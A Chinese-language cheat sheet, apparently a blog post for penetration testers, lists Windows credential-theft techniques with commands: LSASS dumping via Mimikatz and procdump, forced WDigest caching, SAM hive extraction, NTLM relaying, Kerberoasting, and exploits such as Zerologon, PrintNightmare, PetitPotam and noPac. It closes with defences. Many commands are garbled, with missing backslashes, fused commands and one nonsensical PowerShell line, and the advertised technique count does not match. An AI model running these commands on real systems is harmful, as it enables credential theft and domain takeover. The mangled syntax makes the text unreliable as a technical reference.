攻防实录：渗透测试人员必备的30种Windows凭证获取技巧！

在授权渗透测试中，密码凭证的获取往往是突破内网边界的关键。本文基于合规测试环境，系统梳理Windows系统密码获取的30种技术手段，同时配套防御方案。所有技术内容仅供安全研究使用，实施前必须取得合法授权。

一、内存凭证提取技术

• • 技术原理：利用Mimikatz的sekurlsa::logonpasswords模块提取登录会话
• • 典型命令：privilege::debugsekurlsa::logonpasswords
• • 防御方案：启用Credential Guard，限制本地管理员权限

• • 使用PowerShell调用Windows API读取LSASS句柄Get-Process lsass | Add-MemberTypeName Security.Descriptor

• • 创建LSASS进程完整dump文件procdump.exe -ma lsass.exe lsass.dmp

• • 通过C#反射加载Mimikatz的PE文件Assembly.Load(DecryptPEBytes()).EntryPoint.Invoke()

• • 修改注册表强制启用WDigest缓存reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1

• • 使用Rubeus导出当前会话的TGT票据Rubeus.exe dump /nowrap

• • 提取Chrome浏览器保存的密码SharpChrome.exe logins

• • 利用VMSS2Core转换虚拟机快照文件vmss2core -W12 vmss.vmem

二、本地存储凭证提取（7种）

9. SAM数据库破解

• • 通过注册表提取哈希reg save HKLMSYSTEM system.hivreg save HKLMSAM sam.hiv

10. LSA Secrets解析

• • 使用PsExec获取Secrets数据psexec.exe -s -i regedit.exe

11. 组策略首选项漏洞

• • 解密cpassword字段gpp-decrypt ED4C7D3FE97C3B42

12. 计划任务凭据残留

• • 解析XML文件中的RunAsUser字段Get-ScheduledTask | Select-Object TaskName,Principal

13. IIS应用程序池配置

• • 解密applicationHost.config中的密码aspnet_regiis -pdf "connectionStrings" .

14. 远程桌面凭据管理器

• • 使用cmdkey列出保存的凭据cmdkey /list

15. PowerShell历史记录审计

• • 检索控制台历史文件Get-Content (Get-PSReadlineOption).HistorySavePath

三、网络协议攻击（5种）

• • 使用Responder捕获NetNTLMv2哈希python Responder.py -I eth0 -wFb

• • 配置ntlmrelayx进行哈希转发ntlmrelayx.py -tf targets.txt -smb2support

• • 请求服务票据进行离线破解GetUserSPNs.py -request 'domain/user:password'

• • 提取不需要预认证的用户哈希Rubeus.exe asreproast /format:hashcat

• • 利用tscon服务进行会话接管query usertscon %ID% /dest:%SESSIONNAME%

四、漏洞利用技术（5种）

• • 重置域控机器账户密码zerologon_tester.py dc_name 192.168.1.1

• • 通过打印机服务提权python3 CVE-2021-1675.py -u user -p password -d domain 192.168.1.1

• • 强制域控认证python3 petitpotam.py -d domain -u user -p password 192.168.1.1 192.168.1.2

• • 创建伪造的域控账户sam_the_admin.py -domain lab.com -dc-ip 192.168.1.1

• • 伪造黄金票据goldenPac.py domain/user:[email protected]

五、其他高级技术（5种）

• • 使用ntdsutil创建快照ntdsutil "ac i ntds" "ifm" "create full C:temp" q q

• • 检索所有GPO中的登录脚本Get-GPO -All | Get-GPOReport -ReportType XML

• • 创建密码记录触发器__EventFilter和__EventConsumer绑定

• • 通过VSS访问历史文件vssadmin list shadowsmklink /d C:shadowcopy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy1

• • 从AD中获取恢复密钥Get-ADObject -Filter {objectclass -eq 'msFVE-RecoveryInformation'}

【防御建议】

1. 1. 启用LSA保护（RunAsPPL）
2. 2. 部署Windows Defender Credential Guard
3. 3. 强制实施NTLM禁用策略
4. 4. 定期审计域控事件日志（ID 4662）
5. 5. 实施JEA（Just Enough Administration）权限模型
6. 6. 配置Kerberos AES加密强制策略
7. 7. 部署网络访问控制（802.1X）
8. 8. 启用Windows事件转发集中收集